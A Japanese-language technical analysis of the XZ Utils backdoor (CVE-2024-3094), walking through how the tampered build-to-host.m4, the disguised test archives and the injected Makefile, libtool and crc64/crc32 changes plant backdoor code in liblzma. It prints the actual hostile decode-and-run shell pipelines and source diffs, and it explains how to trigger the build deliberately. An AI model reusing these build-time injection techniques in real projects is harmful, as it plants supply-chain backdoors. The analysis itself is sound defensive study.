7
8

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

XZ Utils backdoor (CVE-2024-3094) 解説

Last updated at Posted at 2025-01-19

はじめに

2024年3月にxz Utilsのバックドアが発見されました。

発見者Andres Freundによる最初の報告は以下の通りです。
https://www.openwall.com/lists/oss-security/2024/03/29/4

当時xzのメンテナはLasse CollinとJia Tanで、2024年2月~3月にJia Tanのリリースした5.6.0および5.6.1が影響を受けるバージョンです。この記事では5.6.0の方を対象に、ビルド処理からバックドアが起動するまでを具体的に解説します。

この解説は、技術的手法、およびその知識を記録することにより、オープンソースプロジェクトの課題、リリース方法の課題、ビルドの複雑さを理解・共有し、今度同様の事象発生を防ぐための対策を検討する材料となることを目的としております。

検証環境

バックドア生成処理の検証

今回、バックドア生成処理の検証にはArch Linuxの2024/02/01版を使用しました。
https://archive.archlinux.org/repos/2024/02/01/

リリースに含まれたファイルを見る限り、Jia Tanは以下のバージョンを使用しており、これに該当するのは上記ディストリビューションの2月頃のものと思われます。

  • GNU Autoconf 2.72
  • GNU Automake 1.16.5
  • GNU Libtool 2.4.7.4-1ec8f-dirty
  • gettext-0.22.4

このディストリビューションに含まれるDoxygen、ghostscript、groff のバージョンが、リリースに含まれたファイルと合わないので、ドキュメント関連は別環境で生成した可能性があります。

バックドア動作の検証

また、バックドア動作の検証にはUbuntu 22.04.4 LTSを使用しました。
https://fridge.ubuntu.com/2024/02/22/ubuntu-22-04-4-lts-released/

これは今回のバックドアがRPM系、Debian系のLinuxディストリビューションをターゲットとしているためです。
Ubuntu 24.04.1 LTSではすでにsshd側で対処(libsystemd.soをリンクしない)が行われているため、バックドアは動作しません。

目次

バックドア入りtarballの概要

まずはどのような状態でリリース、配布されたかを確認してみます。

xz-5.6.0ソースツリー構成

リリースされた5.6.0のtarballを展開すると、以下のようになっています。

image.png

以下でも5.6.0のtarballを取得できますが、これはgithubのtag v5.6.0の内容をダウンロードできるようにしただけで、バックドアが仕込まれたものとは内容が異なります。
https://github.com/tukaani-project/xz/releases/tag/v5.6.0

githubの内容からリリース用 tarball を作る際に実行しているのは、おそらく以下になります。

  • autogen.sh 実行
  • doc/man 配下ファイル、ChangeLogの生成(make dist-hook)

autogen.shの冒頭で、autopointコマンドによって必要なファイルがm4ディレクトリへコピーされます。このとき、build-to-host.m4がバックドアコードの入ったものに手動で差し替えられています。同じタイミングでコピーされるはずのファイルと比べて、これだけタイムスタンプが数分遅れています。

後続処理のautoconfによって、build-to-host.m4の内容を元にconfigureスクリプトが生成され、それにもバックドアコードが含まれることになります。

他の情報ではbuild-to-host.m4というファイルがクローズアップされがちですが、実際にはconfigureにもバックドアコードが含まれた状態で配布されていたことになります。

build-to-host.m4とconfigureスクリプト

build-to-host.m4にどのようなコードが仕込まれ、それがどのようにconfigureに移ったかを見ていきます。

image.png

build-to-host.m4は拡張子が示す通り、m4で記述されています。
m4はマクロ言語であり、上図の太字になっている箇所がm4マクロとして処理される箇所となり、文字列の置換などが行われます。それ以外の箇所(シェルスクリプト部分)については通常の文字列として扱われて、そのままconfigureスクリプトに出力されます。

78行目のAC_CONFIG_COMMANDSがポイントであり、configure実行時に追加で実行するコマンドを "build-to-host" という名前で登録しています。それ以外の追加されたコードは、難読化のために実行コマンドを分割して複数の変数として登録していると考えて良いと思います。

また、1行目で通常はserial 3となっているところがserial 30と変更されています。このserial値はそのm4ファイルのバージョンを示すもので、通常は内容を変更するときに1増やします。もしこの値が3のままであり、かつビルド環境が3より大きいbuild-to-host.m4を持っている場合、autogen.shを実行してconfigureの再作成を行うと、その中で実行されるautopoint -fによってビルド環境が持つ正しいbuild-to-host.m4に置き換えられてしまいます。その結果、再作成されるconfigureも正常なものに置き換わってしまいます。これを防ぐため、値を極端に大きいものに変更したと思われます。

本来build-to-host.m4はgl_BUILD_TO_HOSTというm4マクロ関数を定義するものであり、この関数は引数で渡されたパスをターゲット環境へ合わせたものに置き換える用途で使用されますが、それに関係ないコードが追加されたことになります。

追加された2つのテストファイル

commit cf44e4b にて、以下の2つのテストファイルが追加でコミットされています。コミットされたのは2/24で、5.6.0がリリースされる直前のタイミングになります。

  • tests/files/bad-3-corrupt_lzma2.xz
  • tests/files/good-large_compressed.lzma

以下でこの2ファイルの概要を記載しておりますが、内容としてはREADMEに記載してある通りのデータとなっており、テストデータとしては正しいものです。そのため、make check してもすべてPASSします。

bad-3-corrupt_lzma2.xz

READMEには以下のように説明があります。

bad-3-corrupt_lzma2.xz has three Streams in it. The first and third
streams are valid xz Streams. The middle Stream has a correct Stream
Header, Block Header, Index and Stream Footer. Only the LZMA2 data
is corrupt. This file should decompress if --single-stream is used.

この説明は間違いではなく、実際にこの通りのデータになっています。後ほど説明しますが、このデータを加工することにより、意味のあるデータになります。

最初のストリームは非圧縮設定になっているので、####Hello####という文字列がそのまま埋め込まれており、これがconfigureスクリプトの処理中でこのファイルを検出する手がかりになっています。記載されている通り、--single-streamオプションを付けると正常に伸張できます。

$ xxd tests/files/bad-3-corrupt_lzma2.xz
00000000: fd37 7a58 5a00 0004 e6d6 b446 0200 2101  .7zXZ......F..!.
00000010: 0800 0000 d80f 2313 0100 0c23 2323 2348  ......#....####H
00000020: 656c 6c6f 2323 2323 0000 0000 1288 df04  ello####........
00000030: 5972 8142 0001 250d 7119 c4b6 1fb6 f37d  Yr.B..%.q......}

$ xz -dc --single-stream tests/files/bad-3-corrupt_lzma2.xz
####Hello####

good-large_compressed.lzma

READMEには以下のように説明があります。

good-large_compressed.lzma was created with a mix of repeated
characters and random data to test a data stream containing many
matches and many literals.

この説明も間違いではなく、データを伸張すると実際にこの通りのデータになっています。
具体的には、2024バイトのバイナリデータを挟む形で、"AAAA..."、"BBBB..."という文字列が入っているデータです。厳密に言うと "random data" というのは嘘で、加工すると悪意あるシェルスクリプトやバックドアコードの含まれたオブジェクトファイルになります。これも後ほど説明いたします。

$ xz -dc tests/files/good-large_compressed.lzma | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
:
000003f0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000400: 6d86 580b 5dce 63db 706a 3db4 4fcd 2a7c  m.X.].c.pj=.O.*|
:
00000bf0: 7aa1 9540 3f1d c38c 76b7 5066 9123 d0cc  z..@?...v.Pf.#..
00000c00: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
:
00000ff0: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00001000: aded d4ca 06ee 570e 731b a8e9 d12a fd4d  ......W.s....*.M
:
000017f0: 18a2 d5b0 c222 12b9 846e 1985 b2a5 cd53  ....."...n.....S
00001800: 4343 4343 4343 4343 4343 4343 4343 4343  CCCCCCCCCCCCCCCC
:
:
0000c3f0: 5151 5151 5151 5151 5151 5151 5151 5151  QQQQQQQQQQQQQQQQ
0000c400: 74e6 3c56 185a 6b61 1625 4df6 c380 4213  t.<V.Zka.%M...B.
:
0000cbf0: c496 345d 4458 c33c 45c7 d8c6 2354 b822  ..4]DX.<E...#T."

configure

configure処理概要

まず、configureを実行することによってどのような処理の流れになるかを見てみます。

image.png

上図のように、configureを実行することによって何段階もの処理が実施されることになりますが、最終的な結果としては以下の2ファイルが変更されるだけとなります。

  • libtool
  • src/liblzma/Makefile

以下ではconfigure実行時の3つの処理を順番に詳しく見ていきますが、configure実行による結果だけ分かればよいという場合は以下の詳細は読み飛ばしていただいて、次のmakeの処理から見ていただいてもよいかと思います。

なお、他の解説記事では処理の過程を「ステージ」と呼んでいるものが多いですが、記事によってステージの定義が異なっているため、混同しないようあえてステージという表現は使わないようにしております。

configure実行

configureの処理の流れとして、まずはconfig.statusを出力し、さらにそのconfig.statusを実行することになります。configure実行のログを確認すると、config.status処理の末尾で通常は実行されないbuild-to-hostコマンドが実行されていることがわかります。

$ ./configure
:
config.status: executing po-directories commands
config.status: creating po/POTFILES
config.status: creating po/Makefile
config.status: executing build-to-host commands

この追加されたbuild-to-hostコマンドによって、バックドアの処理が実行されていきます。

configure【処理①】

まず最初の【処理①】について、以下の図に詳細を記載いたしました。

image.png

configureの18693行目で"#{4}[[:alnum:]]{5}#{4}$"という正規表現を使ってgrepしています。これがbad-3-corrupt_lzma2.xz中にある####Hello####という文字列にマッチすることによってファイル名を取得し、config.statusに書き込まれています。

config.statusに出力された内容は変数が展開されているため、このファイルを見ると使用されるコマンドがおおよそ読み取れます。

最終的には以下が実行されることになります(config.statusの2563行目)。

sed "r\n" ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null | bin/sh 2>/dev/null

ただの難読化かもしれませんが、このsedコマンドに恐らく意味はありません。r\n\n というファイル(そんなものはない)の内容を対象ファイル末尾に追記するという意味になります。この sed コマンドを cat に置き換えても後続処理の結果は変わりません。

trコマンドでは、以下の置換(文字入れ替え)を行っております。これにより、bad-3-corrupt_lzma2.xzの内容が5バイト分変更されます。

  • 水平タブ(0x09) ⇔ 空白文字(0x20)
  • ハイフン(0x2d) ⇔ アンダースコア(0x5f)

bad-3-corrupt_lzma2.xzの元の内容と変更箇所は以下の通りです。

image.png

このファイルがコミットされたときのREADMEに記載されている通り、xzフォーマットとしては3ストリームあり、その内容がLZMA2になっています。LZMA2は仕様上圧縮、非圧縮を選択できるようになっており、ストリーム1と3は非圧縮(0x01)になっているため、文字列がそのまま格納されております。ストリーム2は圧縮(0xe0)になっております。READMEでは「ストリームヘッダ、ブロックヘッダ、インデックス、ストリームフッターは正常で、LZMA2データだけが壊れている」と記載されておりますが、trコマンドでの置換によりLZMA2データも正常となり、後続のxzに渡すことでデータを伸張しています。

伸張したデータはシェルスクリプトになっており、これがパイプでシェルに渡されて次の【処理②】に移ります。

configure【処理②】

【処理①】の最後で生成されたシェルスクリプトがシェルに渡されたあとの処理を見ていきます。

image.png

重要なのは以下の部分で、

 (xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
  • good-large_compressed.lzmaをxzコマンドを使って伸張
  • headとtailコマンドを使用して、必要なバイト列を切り出し
  • trコマンドで置換して、正常なLZMA1形式データに戻す
  • さらにxzコマンドでデータを伸張し、シェルスクリプトを生成

という流れで処理をしています。

eval $iで実行されるheadコマンドが分かりにくいですが、2024バイトのバイナリデータの間に入っている1024バイトのゴミデータを削除しています。この変数iを宣言するときにexportを付けて環境変数としておりますが、これは後述するmakeコマンドから呼び出された場合に、後段の処理で再度この変数を使用する(good-large_compressed.lzmaを再度同じように処理する)ためです。

trコマンドの引数は8進表記で指定されていますが、分かりにくいので図では16進表記で記載しています。この置換の結果を後続のxzに渡すことでデータを伸張しています。

伸張したデータはやはりシェルスクリプトになっており、これがパイプでシェルに渡されて次の【処理③】に移ります。

configure【処理③】

【処理②】の最後で生成されたシェルスクリプトがシェルに渡されたあとの処理を見ていきます。難読化されてはいますが、難しい処理はありません。

image.png

生成されたシェルスクリプトでは、まずif文の構造として大きく以下の2つの部分に分かれます。

  • configureの最後で呼び出された場合の処理
  • src/liblzma/Makefileから呼び出された場合の処理

ここでは前者の処理が実行されることになります。前者の処理は、具体的にはconfig.statusがある場合に実行されることになります。後ほど説明いたしますが、makeコマンド実行時にも同じスクリプトが呼び出され、その際には後者の処理が実行されます。

その後、バックドアを仕込むのに必要な条件が揃っているかを細かく確認しています。
さらに処理を継続する上で必要となる、重要な条件が以下の箇所になります。

 if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

これは、このconfigureが実行されているのがDebian系パッケージ作成環境であるか、もしくはRedhat系パッケージ作成環境であるかを確認し、条件を満たしていた場合のみ後続処理を実行します。つまり、tarballをダウンロードして、普通にconfigure、makeしただけではバックドアが作られないことになります。そのため、意図してバックドア生成を確認したい場合は、configure実行前にmkdir debian/rulesするか、export RPM_ARCH=x86_64としておく必要があります。

条件をすべて満たしていた場合のみ、sedコマンドを用いてsrc/liblzma/Makefileとlibtoolに文字列を挿入しています。このときに使用しているsedの命令は以下の通りです。

sed -i '/アドレス/i挿入文字列' 対象ファイル

-i オプションにより引数で指定したファイルを直接編集しています。iコマンドは「アドレス」で指定した正規表現にマッチする場所の直前に「挿入文字列」で指定した内容を挿入します。

最終的に行われるsrc/liblzma/Makefileとlibtoolの変更は以下の通りです。
libtoolに付加されている-fno-lto -ffunction-sections -fdata-sectionsオプションとリンカに渡される--sort-section=name-Xオプションですが、このオプションなしでビルドしても正しくバックドアは動作するため、なぜ追加されているのか不明です。環境によっては必要なのかもしれませんが、少なくとも本検証環境では不要でした。

makeコマンドによって実行される内容については、次で説明いたします。

libtool変更内容
--- libtool-OK	2024-11-22 08:26:44.936659200 +0900
+++ libtool-NG	2024-11-22 08:26:49.322904400 +0900
@@ -332,7 +332,7 @@
 no_builtin_flag=" -fno-builtin"
 
 # Additional compiler flags for building library objects.
-pic_flag=" -fPIC -DPIC"
+pic_flag=" -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
 
 # How to pass a linker flag through the compiler.
 wl="-Wl,"
src/liblzma/Makefile変更内容
--- Makefile-OK	2024-11-22 08:13:41.987088500 +0900
+++ Makefile-NG	2024-11-22 08:16:40.272466900 +0900
@@ -262,6 +262,7 @@
 #am__append_49 = -Xlinker --output-def -Xlinker liblzma.def.in
 #am__append_50 = liblzma.def
 subdir = src/liblzma
+am__test = bad-3-corrupt_lzma2.xz
 ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
 am__aclocal_m4_deps = $(top_srcdir)/m4/ax_pthread.m4 \
 	$(top_srcdir)/m4/build-to-host.m4 $(top_srcdir)/m4/getopt.m4 \
@@ -287,12 +288,14 @@
 CONFIG_HEADER = $(top_builddir)/config.h
 CONFIG_CLEAN_FILES =
 CONFIG_CLEAN_VPATH_FILES =
+am__test_dir=$(top_srcdir)/tests/files/$(am__test)
 am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
 am__vpath_adj = case $$p in \
     $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
     *) f=$$p;; \
   esac;
 am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`;
+am__strip_prefix = tr "\t \-_" " \t_\-"
 am__install_max = 40
 am__nobase_strip_setup = \
   srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'`
@@ -308,6 +311,7 @@
 am__base_list = \
   sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \
   sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
+am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)
 am__uninstall_files_from_dir = { \
   test -z "$$files" \
     || { test ! -d "$$dir" && test ! -f "$$dir" && test ! -r "$$dir"; } \
@@ -316,6 +320,22 @@
   }
 am__installdirs = "$(DESTDIR)$(libdir)" "$(DESTDIR)$(docdir)" \
 	"$(DESTDIR)$(pkgconfigdir)"
+LTDEPS='$(lib_LTDEPS)'; \
+    export top_srcdir='$(top_srcdir)'; \
+    export CC='$(CC)'; \
+    export DEFS='$(DEFS)'; \
+    export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \
+    export INCLUDES='$(INCLUDES)'; \
+    export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \
+    export CPPFLAGS='$(CPPFLAGS)'; \
+    export AM_CFLAGS='$(AM_CFLAGS)'; \
+    export CFLAGS='$(CFLAGS)'; \
+    export AM_V_CCLD='$(am__v_CCLD_$(V))'; \
+    export liblzma_la_LINK='$(liblzma_la_LINK)'; \
+    export libdir='$(libdir)'; \
+    export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \
+    export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \
+sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
 LTLIBRARIES = $(lib_LTLIBRARIES)
 liblzma_la_LIBADD =
 am__liblzma_la_SOURCES_DIST = ../common/tuklib_physmem.c \
@@ -608,7 +628,7 @@
 LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \
 	$(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
 	$(AM_LDFLAGS) $(LDFLAGS) -o $@
-AM_V_CCLD = $(am__v_CCLD_$(V))
+AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))
 am__v_CCLD_ = $(am__v_CCLD_$(AM_DEFAULT_VERBOSITY))
 am__v_CCLD_0 = @echo "  CCLD    " $@;
 am__v_CCLD_1 = 
@@ -892,6 +912,7 @@
 pc_verbose = $(pc_verbose_$(V))
 pc_verbose_ = $(pc_verbose_$(AM_DEFAULT_VERBOSITY))
 pc_verbose_0 = @echo "  PC      " $@;
+liblzma_la_LDFLAGS += -Wl,--sort-section=name,-X,-z,now
 all: all-recursive
 
 .SUFFIXES:

make

make処理概要

makeを実行すると、以下の処理が実行されます。

image.png

通常のmake処理に加えてシェルスクリプトが実行されることにより、liblzma_la-crc64_fast.oとliblzma_la-crc32_fast.oが差し替えられて、liblzma.so.5.6.0が生成されることになります。

以下ではmake実行時の処理を順番に詳しく見ていきますが、結果としては上記の通りとなりますので、結果だけ分かればよいという場合は以下の詳細は読み飛ばしていただいて、次のsshdからのバックドア処理実行までから見ていただいてもよいかと思います。

make実行

「configure【処理③】」でsrc/liblzma/Makefileへ追加された処理を抜粋します。

am__test = bad-3-corrupt_lzma2.xz
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
am__strip_prefix = tr "\t \-_" " \t_\-"
am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)
LTDEPS='$(lib_LTDEPS)'; \
    export top_srcdir='$(top_srcdir)'; \
    export CC='$(CC)'; \
    export DEFS='$(DEFS)'; \
    export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \
    export INCLUDES='$(INCLUDES)'; \
    export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \
    export CPPFLAGS='$(CPPFLAGS)'; \
    export AM_CFLAGS='$(AM_CFLAGS)'; \
    export CFLAGS='$(CFLAGS)'; \
    export AM_V_CCLD='$(am__v_CCLD_$(V))'; \
    export liblzma_la_LINK='$(liblzma_la_LINK)'; \
    export libdir='$(libdir)'; \
    export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \
    export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

トップディレクトリでmakeを実行すると、そこからsrc/liblzma/Makefileも実行され、上記コマンドも実行されます。exportで環境変数がいろいろと設定されますが、結果としては sed rpath ../../tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null | /bin/sh >/dev/null 2>&1 というコマンドが変数LTDEPSに設定されます。

Makefileは以下のようにも変更されているので、このコマンドは変数AM_V_CCLDに埋め込まれ、liblzma.laターゲットの中でその内容が実行されることになります。

-AM_V_CCLD = $(am__v_CCLD_$(V))
+AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))

この処理内容は、configure【処理①】でconfig.statusから実行されるものとまったく同じ内容になります。その後、configureの【処理②】【処理③】と同じ流れで実行されますが、【処理③】において異なる条件分岐となり、そこからmake時独自の処理が実行されます。

make処理詳細

configureの【処理③】と異なる処理を見てみます。makeから実行されるとき、カレントディレクトリはsrc/liblzmaとなり、config.statusファイルは存在しないためにtest -f config.statusが偽となり、別の分岐に入ります。

image.png

始めにバックドア生成に必要な条件を確認したあと、good-large_compressed.lzmaからsrc/liblzma/liblzma_la-crc64-fast.oを生成します。configure【処理②】でもgood-large_compressed.lzmaを使いましたが、そのときに使わなかった部分を元に、awkによる復号化、xz伸張、切り出しを行うことによってliblzma_la-crc64-fast.oを取り出します。このsrc/liblzma/liblzma_la-crc64-fast.oはそのままliblzma.so.5.6.0に入るわけではありません。

次にsedでcrc64_fast.c、crc32_fast.cの内容を変更してコンパイルし、src/liblzma/.libs/liblzma_la-crc64_fast.o、src/liblzma/.libs/liblzma_la-crc32_fast.oを生成します。crc64_fast.cをコンパイルするときにsrc/liblzma/liblzma_la-crc64-fast.oを使用してバックドア用のコードを移しています。これらが最終的にliblzma.so.5.6.0に含まれます。

crc64_fast.c、crc32_fast.c の変更内容は以下の通りです。

src/liblzma/check/crc64_fast.c変更内容
--- check/crc64_fast.c  2024-02-24 16:55:08.000000000 +0900
+++ check/crc64_fast2.c 2024-12-01 00:30:48.631950933 +0900
@@ -1,3 +1,4 @@
+# 0 "../../src/liblzma/check/crc64_fast.c"
 // SPDX-License-Identifier: 0BSD

 ///////////////////////////////////////////////////////////////////////////////
@@ -17,6 +18,12 @@
 #      define BUILDING_CRC64_CLMUL
 #      include "crc_x86_clmul.h"
 #endif
+#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))
+extern int _get_cpuid(int, void*, void*, void*, void*, void*);
+static inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }
+#else
+#define _is_arch_extension_supported is_arch_extension_supported
+#endif


 #ifdef CRC64_GENERIC
@@ -101,7 +108,7 @@
 static crc64_func_type
 crc64_resolve(void)
 {
-       return is_arch_extension_supported()
+return _is_arch_extension_supported()
                        ? &crc64_arch_optimized : &crc64_generic;
 }

src/liblzma/check/crc32_fast.c変更内容
--- check/crc32_fast.c  2024-02-24 16:55:08.000000000 +0900
+++ check/crc32_fast2.c 2024-12-01 14:02:28.630477769 +0900
@@ -1,3 +1,4 @@
+# 0 "../../src/liblzma/check/crc32_fast.c"
 // SPDX-License-Identifier: 0BSD

 ///////////////////////////////////////////////////////////////////////////////
@@ -20,6 +21,12 @@
 #elif defined(CRC32_ARM64)
 #      include "crc32_arm64.h"
 #endif
+#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))
+extern int _get_cpuid(int, void*, void*, void*, void*, void*);
+static inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }
+#else
+#define _is_arch_extension_supported is_arch_extension_supported
+#endif


 #ifdef CRC32_GENERIC
@@ -138,7 +145,7 @@
 static crc32_func_type
 crc32_resolve(void)
 {
-       return is_arch_extension_supported()
+return _is_arch_extension_supported()
                        ? &crc32_arch_optimized : &crc32_generic;
 }

シェルスクリプトの最後で試しにliblzma.so.5.6.0が問題なく生成できるかを試し、その後削除を行っております。このシェルスクリプトはmake処理の途中で実行されており、このシェルスクリプト終了直後に本来のmake処理でliblzma.so.5.6.0の生成を行います。

変更された処理フロー

シェルスクリプト中のsedでcrc64_fast.c、crc32_fast.cの変更が行われましたが、どのような変更が行われたかを見てみます。以下の図ではcrc64_fast.cの内容で記載しておりますが、crc32_fast.cも同様です。

image.png

crc64_resolve()関数で呼ばれるis_arch_extension_supported()_is_arch_extension_supported()に変更されています。本来は存在しないstatic inline bool _is_arch_extension_supported(void)をこのファイル内で定義して使用しています。
_is_arch_extension_supported(void)の内容は、src/liblzma/check/crc_x86_clmul.hで定義されているstatic inline bool is_arch_extension_supported(void)とほぼ同じですが、以下部分のみ異なっています。

-        success = __get_cpuid(1, &r[0], &r[1], &r[2], &r[3]);
+        success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16);

この_get_cpuid()関数はextern int _get_cpuid(int, void*, void*, void*, void*, void*);とexternで宣言されおり、src/liblzma/.libs/liblzma_la-crc64-fast.oに含まれております。

$ readelf -sW .libs/liblzma_la-crc64_fast.o | grep cpuid
   106: 0000000000000000     0 SECTION LOCAL  DEFAULT  189 .text._cpuid
   108: 0000000000000000     0 SECTION LOCAL  DEFAULT  192 .text._get_cpuid
   269: 0000000000000000    96 FUNC    GLOBAL HIDDEN   192 _get_cpuid
   273: 0000000000000000    31 FUNC    GLOBAL HIDDEN   189 _cpuid

crc64_resolve()から直接呼ばれる_get_cpuid()関数以外にも、.Llzma_block_param_encoder.0などその他のシンボルにもバックドアのコードが入っています。

通常のliblzma_la-crc64_fast.o中のシンボル
$ readelf -s -W src/liblzma/.libs/liblzma_la-crc64_fast.o

Symbol table '.symtab' contains 19 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crc64_fast.c
     2: 0000000000000000     0 SECTION LOCAL  DEFAULT    1 .text
     3: 0000000000000000   238 FUNC    LOCAL  DEFAULT    1 crc64_generic
     4: 00000000000000f0   527 FUNC    LOCAL  DEFAULT    1 crc64_arch_optimized
     5: 0000000000000300    50 FUNC    LOCAL  DEFAULT    1 crc64_resolve
     6: 0000000000000000     0 SECTION LOCAL  DEFAULT    6 .debug_info
     7: 0000000000000000     0 SECTION LOCAL  DEFAULT    8 .debug_abbrev
     8: 0000000000000000     0 SECTION LOCAL  DEFAULT    9 .debug_loclists
     9: 0000000000000000     0 SECTION LOCAL  DEFAULT   13 .debug_rnglists
    10: 0000000000000000     0 SECTION LOCAL  DEFAULT   14 .debug_line
    11: 0000000000000000     0 SECTION LOCAL  DEFAULT   16 .debug_str
    12: 0000000000000000     0 SECTION LOCAL  DEFAULT   17 .debug_line_str
    13: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT    5 .LC0
    14: 0000000000000010     0 NOTYPE  LOCAL  DEFAULT    5 .LC1
    15: 0000000000000020     0 NOTYPE  LOCAL  DEFAULT    5 .LC2
    16: 0000000000000030     0 NOTYPE  LOCAL  DEFAULT    5 .LC3
    17: 0000000000000000     0 NOTYPE  GLOBAL HIDDEN   UND lzma_crc64_table
    18: 0000000000000300    50 IFUNC   GLOBAL DEFAULT    1 lzma_crc64
バックドア処理が含まれるのliblzma_la-crc64_fast.o中のシンボル
$ readelf -sW src/liblzma/.libs/liblzma_la-crc64_fast.o

Symbol table '.symtab' contains 276 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000000     0 SECTION LOCAL  DEFAULT    1 .text
     2: 0000000000000000     0 SECTION LOCAL  DEFAULT    2 .text.x86_codd
     3: 0000000000000000     0 SECTION LOCAL  DEFAULT    4 .text.lzma_block_buffer_encoda
     4: 0000000000000000     0 SECTION LOCAL  DEFAULT    5 .text.lzma_raw_coder_memusaga
     5: 0000000000000000     0 SECTION LOCAL  DEFAULT    7 .text.lzma2_encoder_inia
     6: 0000000000000000     0 SECTION LOCAL  DEFAULT    9 .text.lzma_optimum_normaa
     7: 0000000000000000     0 SECTION LOCAL  DEFAULT   11 .text.lzma_filters_updata
     8: 0000000000000000     0 SECTION LOCAL  DEFAULT   13 .text.lzma_raw_encodea
     9: 0000000000000000     0 SECTION LOCAL  DEFAULT   15 .text.lzma_mt_block_siza
    10: 0000000000000000     0 SECTION LOCAL  DEFAULT   17 .text.stream_encoda
    11: 0000000000000000     0 SECTION LOCAL  DEFAULT   19 .text.lzma_properties_siza
    12: 0000000000000000     0 SECTION LOCAL  DEFAULT   21 .text.stream_encoder_mt_inia
    13: 0000000000000000     0 SECTION LOCAL  DEFAULT   23 .text.lzma_simple_x86_decoder_inif
    14: 0000000000000000     0 SECTION LOCAL  DEFAULT   25 .text.stream_decoda
    15: 0000000000000000     0 SECTION LOCAL  DEFAULT   26 .text.powerpc_coda
    16: 0000000000000000     0 SECTION LOCAL  DEFAULT   27 .text.parse_bcz
    17: 0000000000000000     0 SECTION LOCAL  DEFAULT   29 .text.lzma_simple_props_sizd
    18: 0000000000000000     0 SECTION LOCAL  DEFAULT   30 .text.get_literal_prica
    19: 0000000000000000     0 SECTION LOCAL  DEFAULT   32 .text.crc_inia
    20: 0000000000000000     0 SECTION LOCAL  DEFAULT   34 .text.crc64_generia
    21: 0000000000000000     0 SECTION LOCAL  DEFAULT   36 .text.init_pric_tabla
    22: 0000000000000000     0 SECTION LOCAL  DEFAULT   38 .text.stream_encoder_updata
    23: 0000000000000000     0 SECTION LOCAL  DEFAULT   39 .text.stream_encoder_updatz
    24: 0000000000000000     0 SECTION LOCAL  DEFAULT   41 .text.lz_encoda
    25: 0000000000000000     0 SECTION LOCAL  DEFAULT   43 .text.delta_coder_ena
    26: 0000000000000000     0 SECTION LOCAL  DEFAULT   45 .text.delta_decoda
    27: 0000000000000000     0 SECTION LOCAL  DEFAULT   47 .text.lzma_check_updata
    28: 0000000000000000     0 SECTION LOCAL  DEFAULT   49 .text.index_tree_appena
    29: 0000000000000000     0 SECTION LOCAL  DEFAULT   51 .text.lzip_decoda
    30: 0000000000000000     0 SECTION LOCAL  DEFAULT   53 .text.microlzma_decoda
    31: 0000000000000000     0 SECTION LOCAL  DEFAULT   54 .text.auto_decoda
